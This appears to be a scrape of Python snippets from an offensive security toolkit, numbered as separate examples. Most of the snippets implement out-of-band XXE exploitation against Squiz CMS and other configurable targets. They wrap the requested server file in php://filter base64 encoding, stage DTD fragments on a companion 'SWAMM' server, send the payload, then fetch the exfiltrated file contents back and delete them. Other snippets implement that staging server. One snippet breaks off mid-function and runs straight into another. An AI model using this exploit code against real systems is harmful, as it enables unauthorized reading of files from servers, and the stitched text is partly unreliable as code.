def SendXXEMessage(self, messageVariables, isSystemEntity):
        # if a file is being requested, base64-encode its contents
        if (isSystemEntity):
            #messageVariables['%URIPREFIX%'] = 'php://filter/read=convert.base64-encode/resource='
            messageVariables[
                '%XXETARGET%'] = 'php://filter/read=convert.base64-encode/resource=' + messageVariables[
                    '%XXETARGET%']

        messageVariables['%SQUIZCOMMANDACTION%'] = self.GetOptionByName(
            'SquizCommandAction').CurrentValue
        # this module deliberately uses an invalid URL for the "write" URL so that a 404 is returned
        messageVariables['%SWAMMWRITEURL%'] = '{0}{1}'.format(
            self.SWAMMURLs.BaseURL, self.NonexistentURIStem)

        reflectedFullURL = '{0}{1}'.format(self.SWAMMURLs.BaseURL,
                                           self.SWAMMReflectedXMLFileName)
        self.LogDebug(
            'Using SWAMM URI stem "{0}" to stage Yunusov-Osipov XML fragment - full URL will be "{1}"'
            .format(self.SWAMMReflectedXMLFileName, reflectedFullURL))
        messageVariables[
            '%SWAMMSTOREDREQUESTID%'] = self.SWAMMReflectedXMLFileName

        xmlFragTemplate = self.GetYunusovOsipovType2ReflectedXXEDefinitionTemplateBlock(
        )
        xmlFrag = self.ActualizeTemplate(xmlFragTemplate, messageVariables)

        xmlFragResponse = libdeceitfulhttp.HTTPResponse()
        xmlFragResponse.ResponseCode = 200
        xmlFragResponse.ResponseReason = "OK"
        xmlFragResponse.AddOrReplaceHeader('Content-Type', 'text/xml')
        xmlFragResponse.Body = xmlFrag

        self.SWAMMStoreBasicRequestResponsePair(
            self.SWAMMStoredRequestID,
            '/{0}'.format(self.SWAMMReflectedXMLFileName), None,
            xmlFragResponse)

        xxexmlmessage = self.GetModuleDataFile('xxe-01.txt')

        messageVariables[
            '%YUNUSOVOSIPOVBLOCK%'] = self.GetYunusovOsipovType2MainXXEDefinitionTemplateBlock(
            )

        xxexmlmessage = self.ActualizeTemplate(xxexmlmessage, messageVariables)

        httpHeaders = self.GetStandardHTTPHeaders()
        httpHeaders['Accept'] = 'application/xhtml+xml,application/xml'
        httpHeaders['Content-Type'] = 'text/xml'
        targetURL = '{0}?SQ_ACTION={1}'.format(
            self.GetOptionByName('SquizAdminURL').CurrentValue,
            self.GetOptionByName('SquizURLAction').CurrentValue)
        response = self.SendRequest("POST", targetURL, xxexmlmessage,
                                    httpHeaders)
        result = self.ParseDelimitedResponse(
            messageVariables,
            response,
            libxxeexploits.ResponseParserSettingsPHP(),
            delimiterText=messageVariables['%SHORTDELIMITER%'],
            base64DecodeBody=True)
        return result
Esempio n. 2
0
 def GetResponseTemplate(self, responseCode, multiLogger=None):
     result = libdeceitfulhttp.HTTPResponse()
     result.ResponseCode = responseCode
     result.ResponseReason = libdeceitfulhttp.HTTPResponse.GetHTTPResponseReasonFromCode(
         responseCode)
     result.Body = self.GetResponseBodyFile(
         'body-{0}.txt'.format(responseCode), multiLogger)
     return result
Esempio n. 3
0
 def __init__(self):
     self.Request = libdeceitfulhttp.HTTPRequest()
     self.Response = libdeceitfulhttp.HTTPResponse()
     self.RequestURLRegex = None
     self.MatchRequestMethod = True
     self.MatchRequestURLParameters = False
     self.MatchRequestHeaders = False
     self.MatchRequestBody = False
     self.MultiLogger = None
Esempio n. 4
0
	def StoreXXERSSFeedInSWAMM(self, messageVariables):
		xxeRSS = self.GetModuleDataFile('xxe_rss.txt')
		messageVariables['%YUNUSOVOSIPOVBLOCK%'] = self.GetYunusovOsipovType2MainXXEDefinitionTemplateBlock()
		xxeRSS = self.ActualizeTemplate(xxeRSS, messageVariables)
		xxeRSSResponse = libdeceitfulhttp.HTTPResponse()
		xxeRSSResponse.ResponseCode = 200
		xxeRSSResponse.ResponseReason = "OK"
		xxeRSSResponse.AddOrReplaceHeader('Content-Type', 'text/xml')
		xxeRSSResponse.Body = xxeRSS
		self.SWAMMStoreBasicRequestResponsePair(self.SWAMMStoredRequestIDRSSFile, '/{0}'.format(self.SWAMMReflectedRSSFileName), None, xxeRSSResponse)
		return messageVariables
Esempio n. 5
0
	def StoreYunusovOsipovType2ReflectedXXEBlockInSWAMM(self, messageVariables):
		reflectedFullURL = '{0}{1}'.format(self.SWAMMURLs.BaseURL, self.SWAMMReflectedXMLFileName)
		self.LogDebug('Using SWAMM URI stem "{0}" to stage Yunusov-Osipov XML fragment - full URL will be "{1}"'.format(self.SWAMMReflectedXMLFileName, reflectedFullURL))
		messageVariables['%SWAMMSTOREDREQUESTID%'] = self.SWAMMReflectedXMLFileName
		
		xmlFragTemplate = self.GetYunusovOsipovType2ReflectedXXEDefinitionTemplateBlock()
		xmlFrag = self.ActualizeTemplate(xmlFragTemplate, messageVariables)
		
		xmlFragResponse = libdeceitfulhttp.HTTPResponse()
		xmlFragResponse.ResponseCode = 200
		xmlFragResponse.ResponseReason = "OK"
		xmlFragResponse.AddOrReplaceHeader('Content-Type', 'text/xml')
		xmlFragResponse.Body = xmlFrag
		
		self.SWAMMStoreBasicRequestResponsePair(self.SWAMMStoredRequestID, '/{0}'.format(self.SWAMMReflectedXMLFileName), None, xmlFragResponse)
		return messageVariables
Esempio n. 6
0
    def __init__(self):
        self.UID = 'Default'
        self.Name = 'Default'
        self.Responses = {}
        self.ResponseVariables = {}
        self.ResponseVariables['%SERVERNAME%'] = 'Unspecified'
        self.GlobalHeaders = []
        self.GlobalHeaders.append(('Server', '%SERVERNAME%'))
        self.DefaultResponseCode = 404
        #self.UseResponseBodyFiles = False
        self.UseResponseBodyFiles = True
        self.Locale = 'en_US'
        self.DefaultLocale = 'en_US'
        self.ResponseBodyPath = libfileio.FileReader.getAbsoluteFilePathFromModuleBase(
            '/data/swamm/server_profiles/default/%LOCALE%/')

        # special responses
        self.OptionsResponse = libdeceitfulhttp.HTTPResponse()
        self.OptionsResponse.ResponseCode = 200
        self.OptionsResponse.ResponseReason = libdeceitfulhttp.HTTPResponse.GetHTTPResponseReasonFromCode(
            self.OptionsResponse.ResponseCode)
        self.OptionsResponse.AddOrReplaceHeader('Allow',
                                                'GET,HEAD,POST,OPTIONS')
Esempio n. 7
0
 def SWAMMSendRequest(self, httpRequest):
     self.LogDebug('Sending SWAMM request')
     succeeded = False
     attemptCount = 0
     maxAttempts = self.SWAMMMaxRetries + 1
     result = libdeceitfulhttp.HTTPResponse()
     while not (succeeded):
         result = self.DeceitfulHTTPClient.SendRequest(httpRequest)
         self.LogDebug('SWAMM request response code was {0}'.format(
             result.ResponseCode))
         if (result.ResponseCode == 200):
             succeeded = True
             return result
         attemptCount = attemptCount + 1
         self.LogDebug(
             'SWAMM request was not successful (attempt {0} of {1})'.format(
                 attemptCount, maxAttempts))
         if (attemptCount >= maxAttempts):
             errMsg = 'SWAMM request was not successful after {1} attempts - giving up'.format(
                 maxAttempts)
             self.LogError(errMsg)
             raise XXEModuleError(errMsg)
         time.sleep(self.SWAMMRetryDelay)
     return result
Esempio n. 8
0
    def GetResponse(self,
                    httpRequest,
                    clientLayer3Address,
                    serverLayer3Address,
                    responseCode,
                    multiLogger=None):
        if (multiLogger):
            multiLogger.debug('Getting response template')
            multiLogger.debug(
                'Adding/updating response variables - server date')
        self.ResponseVariables['%SERVERDATE%'] = self.GetServerDate()

        baseResponse = libdeceitfulhttp.HTTPResponse()
        if (responseCode):
            baseResponse.ResponseCode = responseCode
        else:
            baseResponse.ResponseCode = 0
        if (multiLogger):
            if (baseResponse.ResponseCode == 0):
                multiLogger.warning(
                    'A response code was either not specified, or was set to code 0 - the default response code of {0} will be used'
                    .format(self.DefaultResponseCode))
        if (baseResponse.ResponseCode == 0):
            baseResponse.ResponseCode = self.DefaultResponseCode
        if (multiLogger):
            multiLogger.debug('Using response code of {0}'.format(
                baseResponse.ResponseCode))
        if (baseResponse.ResponseCode in self.Responses.keys()):
            if (multiLogger):
                multiLogger.debug(
                    'Found a response in the server profile for response code {0}'
                    .format(baseResponse.ResponseCode))
            baseResponse = self.Responses[baseResponse.ResponseCode]
            if (multiLogger):
                multiLogger.debug(
                    'Using predefined HTTP response for HTTP code {0}'.format(
                        baseResponse.ResponseCode))
        else:
            if (multiLogger):
                multiLogger.debug(
                    'Did not find a response in the server profile for response code {0}'
                    .format(baseResponse.ResponseCode))
            if (baseResponse.ResponseCode in self.Responses.keys()):
                if (multiLogger):
                    multiLogger.debug(
                        'Found a response in the server profile for default response code {0}'
                        .format(self.DefaultResponseCode))
                baseResponse = self.Responses[self.DefaultResponseCode]
                if (multiLogger):
                    multiLogger.warning(
                        'The server response profile in use does not contain a specific response for HTTP code {0}, so the response for the default code ({1}) will be used instead'
                        .format(baseResponse.ResponseCode,
                                self.DefaultResponseCode))
            else:
                if (multiLogger):
                    multiLogger.warning(
                        'The server response profile in use does not contain a specific response for HTTP code {0}, which is the default response code for the profile  - please contact the developer of the profile - a very generic response will be used'
                        .format(baseResponse.ResponseCode,
                                self.DefaultResponseCode))
        for gh in self.GlobalHeaders:
            multiLogger.debug('Adding global header "{0}"'.format(gh))
            if (len(gh) < 2):
                if (multiLogger):
                    multiLogger.error(
                        'One of the global headers for this server profile is malformed (it is missing one or both of the header name and value) - please contact the developer of the profile - the problematic header will be ignored'
                    )
            else:
                baseResponse.AddOrReplaceHeader(gh[0], gh[1])
                if (multiLogger):
                    multiLogger.debug(
                        'Added global header "{0}" with value "{1}"'.format(
                            gh[0], gh[1]))
        if ((baseResponse.Body is None) or (baseResponse.Body == '')):
            baseResponse.Body = self.GetResponseBodyFile(
                'body-{0}.txt'.format(baseResponse.ResponseCode), multiLogger)
            if (multiLogger):
                multiLogger.debug(
                    'Base response body is missing or blank, so the value from the template will be used'
                )

        result = self.GetResponseFromTemplate(baseResponse, httpRequest,
                                              clientLayer3Address,
                                              serverLayer3Address,
                                              responseCode, multiLogger)
        return result
Esempio n. 9
0
 def GetGenericResponse(self, responseCode):
     baseResponse = libdeceitfulhttp.HTTPResponse()
     baseResponse.ResponseCode = responseCode
    def SendXXEMessage(self, messageVariables, isSystemEntity):
        # if a file is being requested, base64-encode its contents
        if (isSystemEntity):
            #messageVariables['%URIPREFIX%'] = 'php://filter/read=convert.base64-encode/resource='
            messageVariables[
                '%XXETARGET%'] = 'php://filter/read=convert.base64-encode/resource=' + messageVariables[
                    '%XXETARGET%']

        messageVariables['%SQUIZCOMMANDACTION%'] = self.GetOptionByName(
            'SquizCommandAction').CurrentValue

        reflectedFullURL = '{0}{1}'.format(self.SWAMMURLs.BaseURL,
                                           self.SWAMMReflectedXMLFileName)
        self.LogDebug(
            'Using SWAMM URI stem "{0}" to stage Yunusov-Osipov XML fragment - full URL will be "{1}"'
            .format(self.SWAMMReflectedXMLFileName, reflectedFullURL))
        messageVariables[
            '%SWAMMSTOREDREQUESTID%'] = self.SWAMMReflectedXMLFileName

        xmlFragTemplate = self.GetYunusovOsipovType2ReflectedXXEDefinitionTemplateBlock(
        )
        xmlFrag = self.ActualizeTemplate(xmlFragTemplate, messageVariables)

        xmlFragResponse = libdeceitfulhttp.HTTPResponse()
        xmlFragResponse.ResponseCode = 200
        xmlFragResponse.ResponseReason = "OK"
        xmlFragResponse.AddOrReplaceHeader('Content-Type', 'text/xml')
        xmlFragResponse.Body = xmlFrag

        self.SWAMMStoreBasicRequestResponsePair(
            self.SWAMMStoredRequestID,
            '/{0}'.format(self.SWAMMReflectedXMLFileName), None,
            xmlFragResponse)

        xxexmlmessage = self.GetModuleDataFile('xxe-01.txt')

        messageVariables[
            '%YUNUSOVOSIPOVBLOCK%'] = self.GetYunusovOsipovType2MainXXEDefinitionTemplateBlock(
            )

        xxexmlmessage = self.ActualizeTemplate(xxexmlmessage, messageVariables)

        # Trigger the XXE in Squiz
        httpHeaders = self.GetStandardHTTPHeaders()
        httpHeaders['Accept'] = 'application/xhtml+xml,application/xml'
        httpHeaders['Content-Type'] = 'text/xml'
        targetURL = '{0}?SQ_ACTION={1}'.format(
            self.GetOptionByName('SquizAdminURL').CurrentValue,
            self.GetOptionByName('SquizURLAction').CurrentValue)
        response1 = self.SendRequest("POST", targetURL, xxexmlmessage,
                                     httpHeaders)

        # retrieve the OOB data from SWAMM
        targetURL = '{0}{1}'.format(self.SWAMMURLs.ReadURL,
                                    self.SWAMMReceiverID)
        self.LogDebug(
            'Target URL for out-of-band read is "{0}"'.format(targetURL))
        response2 = self.SendRequest("GET", targetURL, None, httpHeaders)

        if (response2.ResponseCode != 200):
            self.LogWarning(
                'Got a response code of {0} instead of 200 when trying to read the data for "{1}" from SWAMM'
                .format(response2.ResponseCode,
                        messageVariables['%XXETARGET%']))
            result = self.ParseDelimitedResponse(
                messageVariables,
                response1,
                libxxeexploits.ResponseParserSettingsPHP(),
                delimiterText=messageVariables['%SHORTDELIMITER%'],
                base64DecodeBody=True)
            #raise libxxeexploits.XXEModuleError('Got a response code of {0} instead of 200'.format(response2.ResponseCode))
            return result
        else:
            result = self.ParseDelimitedResponse(
                messageVariables,
                response2,
                libxxeexploits.ResponseParserSettingsPHP(),
                delimiterText=messageVariables['%SHORTDELIMITER%'],
                base64DecodeBody=True)

            # delete the OOB data now that it's been retrieved
            targetURL = '{0}{1}'.format(self.SWAMMURLs.DeleteURL,
                                        self.SWAMMReceiverID)
            self.LogDebug(
                'Target URL for out-of-band data delete is "{0}"'.format(
                    targetURL))
            response3 = self.SendRequest("GET", targetURL, None, httpHeaders)

            # double-check to make sure it's really deleted
            targetURL = '{0}{1}'.format(self.SWAMMURLs.ReadURL,
                                        self.SWAMMReceiverID)
            self.LogDebug('Target URL for OOB read is "{0}"'.format(targetURL))
            response2 = self.SendRequest("GET", targetURL, None, httpHeaders)

            if (response2.ResponseCode == 404):
                self.LogDebug(
                    'Out-of-band data was successfully deleted from the SWAMM instance'
                )
            else:
                self.LogWarning(
                    'The out-of-band data at "{0}" was not successfully deleted from the SWAMM instance - there is a small chance that this may cause inaccurate results for other files downloaded during this session'
                    .format(self.SWAMMURLs.ReadURL))
            return result

        return result
Esempio n. 11
0
    def SendXXEMessage(self, messageVariables, isSystemEntity):
        #rawRequestTemplate = libfileio.FileReader.getFileAsString(self.GetOptionByName('TemplateRequestFile').CurrentValue)
        #templateRequest = libdeceitfulhttp.HTTPRequest.FromRawTCPMessage(rawRequestTemplate)
        templateRequest = self.GetTemplateHTTPRequestFromFile(
            self.GetOptionByName('TemplateRequestFile').CurrentValue)

        if (isSystemEntity):
            messageVariables[
                '%XXETARGET%'] = 'php://filter/read=convert.base64-encode/resource={0}'.format(
                    messageVariables['%XXETARGET%'])

        self.SetDocTypeTagName(
            self.GetOptionByName('DocTypeTagName').CurrentValue,
            messageVariables)
        self.SetElementTagName(
            self.GetOptionByName('ElementTagName').CurrentValue,
            messageVariables)

        reflectedFullURL = '{0}{1}'.format(self.SWAMMURLs.BaseURL,
                                           self.SWAMMReflectedXMLFileName)
        self.LogDebug(
            'Using SWAMM URI stem "{0}" to stage Yunusov-Osipov XML fragment - full URL will be "{1}"'
            .format(self.SWAMMReflectedXMLFileName, reflectedFullURL))
        messageVariables[
            '%SWAMMSTOREDREQUESTID%'] = self.SWAMMReflectedXMLFileName

        xmlFragTemplate = self.GetYunusovOsipovType2ReflectedXXEDefinitionTemplateBlock(
        )
        xmlFrag = self.ActualizeTemplate(xmlFragTemplate, messageVariables)

        xmlFragResponse = libdeceitfulhttp.HTTPResponse()
        xmlFragResponse.ResponseCode = 200
        xmlFragResponse.ResponseReason = "OK"
        xmlFragResponse.AddOrReplaceHeader('Content-Type', 'text/xml')
        xmlFragResponse.Body = xmlFrag

        self.SWAMMStoreBasicRequestResponsePair(
            self.SWAMMStoredRequestID,
            '/{0}'.format(self.SWAMMReflectedXMLFileName), None,
            xmlFragResponse)

        messageVariables[
            '%YUNUSOVOSIPOVBLOCK%'] = self.GetYunusovOsipovType2MainXXEDefinitionTemplateBlock(
            )

        xxexmlmessage = templateRequest.Body

        xxexmlmessage = self.ActualizeTemplate(xxexmlmessage, messageVariables)

        response1 = self.SendRequest(
            templateRequest.HTTPMethod,
            self.GetOptionByName('TargetURL').CurrentValue, xxexmlmessage,
            templateRequest.Headers)

        # retrieve the OOB data from SWAMM
        httpHeaders = self.GetStandardHTTPHeaders()

        targetURL = '{0}{1}'.format(self.SWAMMURLs.ReadURL,
                                    self.SWAMMReceiverID)
        self.LogDebug(
            'Target URL for out-of-band read is "{0}"'.format(targetURL))
        response2 = self.SendRequest("GET", targetURL, None, httpHeaders)

        if (response2.ResponseCode != 200):
            self.LogWarning(
                'Got a response code of {0} instead of 200 when trying to read the data for "{1}" from SWAMM'
                .format(response2.ResponseCode,
                        messageVariables['%XXETARGET%']))
            result = self.ParseDelimitedResponse(
                messageVariables,
                response1,
                libxxeexploits.ResponseParserSettingsPHP(),
                delimiterText=messageVariables['%SHORTDELIMITER%'],
                base64DecodeBody=True)
            return result
        else:
            result = self.ParseDelimitedResponse(
                messageVariables,
                response2,
                libxxeexploits.ResponseParserSettingsPHP(),
                delimiterText=messageVariables['%SHORTDELIMITER%'],
                base64DecodeBody=True)

            # delete the OOB data now that it's been retrieved
            targetURL = '{0}{1}'.format(self.SWAMMURLs.DeleteURL,
                                        self.SWAMMReceiverID)
            self.LogDebug(
                'Target URL for out-of-band data delete is "{0}"'.format(
                    targetURL))
            response3 = self.SendRequest("GET", targetURL, None, httpHeaders)

            # double-check to make sure it's really deleted
            targetURL = '{0}{1}'.format(self.SWAMMURLs.ReadURL,
                                        self.SWAMMReceiverID)
            self.LogDebug('Target URL for OOB read is "{0}"'.format(targetURL))
            response2 = self.SendRequest("GET", targetURL, None, httpHeaders)

            if (response2.ResponseCode == 404):
                self.LogDebug(
                    'Out-of-band data was successfully deleted from the SWAMM instance'
                )
            else:
                self.LogWarning(
                    'The out-of-band data at "{0}" was not successfully deleted from the SWAMM instance - there is a small chance that this may cause inaccurate results for other files downloaded during this session'
                    .format(self.SWAMMURLs.ReadURL))
            return result

        return result
Esempio n. 12
0
    def HandleRequest(self, httpRequest):
        self.LogDebug('Generating response')
        response = libdeceitfulhttp.HTTPResponse()
        #response.ResponseCode = 404
        response.ResponseCode = self.ParentServer.ServerProfile.DefaultResponseCode
        #defaultResponseCode = 404
        #response = self.ParentServer.ServerProfile.GetResponse(httpRequest, self.ClientSocket.Layer3Address, self.ServerSocket.Layer3Address, defaultResponseCode, multiLogger = self.ParentServer.MultiLogger)
        #response.ResponseReason = libdeceitfulhttp.HTTPResponse.GetHTTPResponseReasonFromCode(response.ResponseCode)
        #sUrl = libdeceitfulhttp.DeceitfulHTTPServer.SanitizeURLsLikeApacheHTTPD2(httpRequest.URL)
        #response.Body = '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">\n<html><head>\n<title>404 Not Found</title>\n</head><body>\n<h1>Not Found</h1>\n<p>The requested URL {0} was not found on this server.</p>\n<hr>\n<address>Apache/2.2.22 Server at {1} Port {2}</address>\n</body></html>'.format(sUrl, self.ServerSocket.Layer3Address.IPAddress, self.ServerSocket.Layer3Address.Port)
        #response.Headers['Server'] = 'Apache'

        specialURL = False
        #if (self.ParentServer is SWAMMServer):
        #self.LogDebug('Parent server is a SWAMM server instance')
        swammKey = ''
        foundRequestType = False
        if not (foundRequestType):
            if self.URLBeginsWithPrefix(httpRequest.URL,
                                        self.ParentServer.ReadPrefix):
                swammKey = self.GetSWAMMKey(httpRequest.URL,
                                            self.ParentServer.ReadPrefix)
                self.LogDebug(
                    'This is a SWAMM read URL with key "{0}"'.format(swammKey))
                response = self.RetrieveMessages(response, swammKey)
                foundRequestType = True
                specialURL = True
        if not (foundRequestType):
            if self.URLBeginsWithPrefix(httpRequest.URL,
                                        self.ParentServer.WritePrefix):
                swammKey = self.GetSWAMMKey(httpRequest.URL,
                                            self.ParentServer.WritePrefix)
                self.LogDebug(
                    'This is a SWAMM write URL with key "{0}"'.format(
                        swammKey))
                response = self.StoreMessage(response, swammKey,
                                             httpRequest.RawRequest, False)
                foundRequestType = True
                specialURL = True
        if not (foundRequestType):
            if self.URLBeginsWithPrefix(httpRequest.URL,
                                        self.ParentServer.AppendPrefix):
                swammKey = self.GetSWAMMKey(httpRequest.URL,
                                            self.ParentServer.AppendPrefix)
                self.LogDebug(
                    'This is a SWAMM append URL with key "{0}"'.format(
                        swammKey))
                response = self.StoreMessage(response, swammKey,
                                             httpRequest.RawRequest, True)
                foundRequestType = True
                specialURL = True
        if not (foundRequestType):
            if self.URLBeginsWithPrefix(httpRequest.URL,
                                        self.ParentServer.DeletePrefix):
                swammKey = self.GetSWAMMKey(httpRequest.URL,
                                            self.ParentServer.DeletePrefix)
                self.LogDebug(
                    'This is a SWAMM delete URL with key "{0}"'.format(
                        swammKey))
                response = self.DeleteMessages(response, swammKey)
                foundRequestType = True
                specialURL = True
        if not (foundRequestType):
            if self.URLBeginsWithPrefix(httpRequest.URL,
                                        self.ParentServer.StoredPairAddPrefix):
                swammKey = self.GetSWAMMKey(
                    httpRequest.URL, self.ParentServer.StoredPairAddPrefix)
                self.LogDebug(
                    'This is a SWAMM stored request/response pair store URL with key "{0}"'
                    .format(swammKey))
                response = self.StoreRequestResponsePair(
                    response, swammKey, httpRequest.RawRequest)
                foundRequestType = True
                specialURL = True
        if not (foundRequestType):
            if self.URLBeginsWithPrefix(
                    httpRequest.URL, self.ParentServer.StoredPairDeletePrefix):
                swammKey = self.GetSWAMMKey(
                    httpRequest.URL, self.ParentServer.StoredPairDeletePrefix)
                self.LogDebug(
                    'This is a SWAMM stored request/response pair delete URL with key "{0}"'
                    .format(swammKey))
                response = self.DeleteRequestResponsePair(response, swammKey)
                foundRequestType = True
                specialURL = True
        if not (foundRequestType):
            if ((self.ParentServer.StoredRequestResponsePairs) and
                (len(self.ParentServer.StoredRequestResponsePairs) > 0)):
                for srrpKey in self.ParentServer.StoredRequestResponsePairs.keys(
                ):
                    self.LogDebug(
                        'Checking stored request/response pair with key "{0}"'.
                        format(srrpKey))
                    srrp = self.ParentServer.StoredRequestResponsePairs[
                        srrpKey]
                    srrp.MultiLogger = self.ParentServer.MultiLogger
                    if (srrp.MatchesRequest(httpRequest)):
                        self.LogDebug(
                            'Stored request/response pair with key "{0}" matches this request - will use the stored response'
                            .format(srrpKey))
                        response = srrp.Response
                        foundRequestType = True
                        specialURL = True
                        break
                    else:
                        self.LogDebug(
                            'Stored request/response pair with key "{0}" does not match this request'
                            .format(srrpKey))
        if (specialURL):
            dummy = 1
        else:
            self.LogDebug('This is a regular URL')
        try:
            if (self.ParentServer.RestrictHTTPMethods):
                if (httpRequest.HTTPMethod
                        in self.ParentServer.AllowedHTTPMethods):
                    self.LogDebug(
                        'The request method "{0}" is allowed by the current configuration'
                        .format(httpRequest.HTTPMethod))
                else:
                    self.LogDebug(
                        'The request method "{0}" is not allowed by the current configuration, and a Method Not Allowed response will be returned'
                        .format(httpRequest.HTTPMethod))
                    response = self.ParentServer.ServerProfile.GetMethodNotAllowedResponseResponse(
                        httpRequest, self.ClientSocket.Layer3Address,
                        self.ServerAddressForClient,
                        self.ParentServer.MultiLogger)
            else:
                self.LogDebug(
                    'The request method "{0}" is allowed by the current configuration, because request method restrictions are disabled'
                    .format(httpRequest.HTTPMethod))
            if (httpRequest.HTTPMethod == 'OPTIONS'):
                self.LogDebug(
                    'This is an OPTIONS request, so the appropriate response will be obtained from the server profile'
                )
                #response = self.ParentServer.ServerProfile.GetOptionsResponse(httpRequest, self.ClientSocket.Layer3Address, self.ServerSocket.Layer3Address, response.ResponseCode, self.ParentServer.MultiLogger)
                response = self.ParentServer.ServerProfile.GetOptionsResponse(
                    httpRequest, self.ClientSocket.Layer3Address,
                    self.ServerAddressForClient, response.ResponseCode,
                    self.ParentServer.MultiLogger)
            #revisedResponseTemplate = self.ParentServer.ServerProfile.GetResponse(httpRequest, self.ClientSocket.Layer3Address, self.ServerSocket.Layer3Address, response.ResponseCode, self.ParentServer.MultiLogger)
            revisedResponseTemplate = self.ParentServer.ServerProfile.GetResponse(
                httpRequest, self.ClientSocket.Layer3Address,
                self.ServerAddressForClient, response.ResponseCode,
                self.ParentServer.MultiLogger)
            self.LogDebug('Response template obtained')

            response.MultiLogger = self.ParentServer.MultiLogger
            #if ((response.ResponseReason == None) or (response.ResponseReason == '')):
            #	response.ResponseReason = libdeceitfulhttp.HTTPResponse.GetHTTPResponseReasonFromCode(response.ResponseCode)
            if ((response.ResponseReason == None)
                    or (response.ResponseReason == '')):
                response.ResponseReason = revisedResponseTemplate.ResponseReason
                self.LogDebug(
                    'No response reason was set, so the reason of "{0}" from the response template was used'
                    .format(revisedResponseTemplate.ResponseReason))
            if ((response.ResponseCode != 200)):
                response.Body = revisedResponseTemplate.Body
                self.LogDebug(
                    'The HTTP response code was {0} instead of 200, so the body from the response template was used'
                    .format(revisedResponseTemplate.ResponseCode))
            existingHeaders = response.GetHeaders()
            existingHeaderNames = []
            for eh in existingHeaders:
                if (len(eh) < 2):
                    self.LogDebug(
                        'Malformed existing header returned by GetHeaders()')
                else:
                    ehName = eh[0]
                    ehValue = eh[1]
                self.LogDebug(
                    'Adding existing header "{0}" with value "{1}" to list'.
                    format(ehName, ehValue))
                existingHeaderNames.append(ehName)
            for th in revisedResponseTemplate.GetHeaders():
                if (len(th) < 2):
                    self.LogDebug(
                        'Malformed template header returned by GetHeaders()')
                else:
                    thName = th[0]
                    thValue = th[1]
                    #self.LogDebug('Adding or replacing header "{0}" with value "{1}" (from response template)'.format(thName, thValue))
                    #response.AddOrReplaceHeader(thName, thValue)
                    if (thName in existingHeaderNames):
                        self.LogDebug(
                            'Skipping template header "{0}" with value "{1}" because the response already contains a header of this type'
                            .format(thName, thValue))
                    else:
                        self.LogDebug(
                            'Adding header "{0}" with value "{1}" (from response template)'
                            .format(thName, thValue))
                        response.AddOrReplaceHeader(thName, thValue)

            response.AddOrReplaceHeader('Content-Length', len(response.Body))
            self.LogDebug('Set Content-Length header to {0}'.format(
                len(response.Body)))

            # handle HEAD requests properly
            if (httpRequest.HTTPMethod == 'HEAD'):
                response.Body = None
                self.LogDebug(
                    'The HTTP request method was HEAD, so the body will not be returned'
                )

            self.LogDebug('Response HTTP version "{0}"'.format(
                str(response.HTTPVersion)))
            self.LogDebug('Response HTTP response code {0}'.format(
                str(response.ResponseCode)))
            self.LogDebug('Response HTTP response reason "{0}"'.format(
                str(response.ResponseCode)))
            self.LogDebug('Response HTTP response headers "{0}"'.format(
                str(response.Headers)))
            self.LogDebug('Response HTTP response body:\n{0}'.format(
                str(response.Body)))
            responseData = response.ToRawTCPMessage()
            self.LogDebug('Sending response:\n{0}'.format(responseData))
            self.ClientSocket.Socket.send(responseData)
        except Exception as e:
            self.LogError(
                'Error sending response to client - {0} - {1}'.format(
                    str(type(e)), str(e.args)))
            pass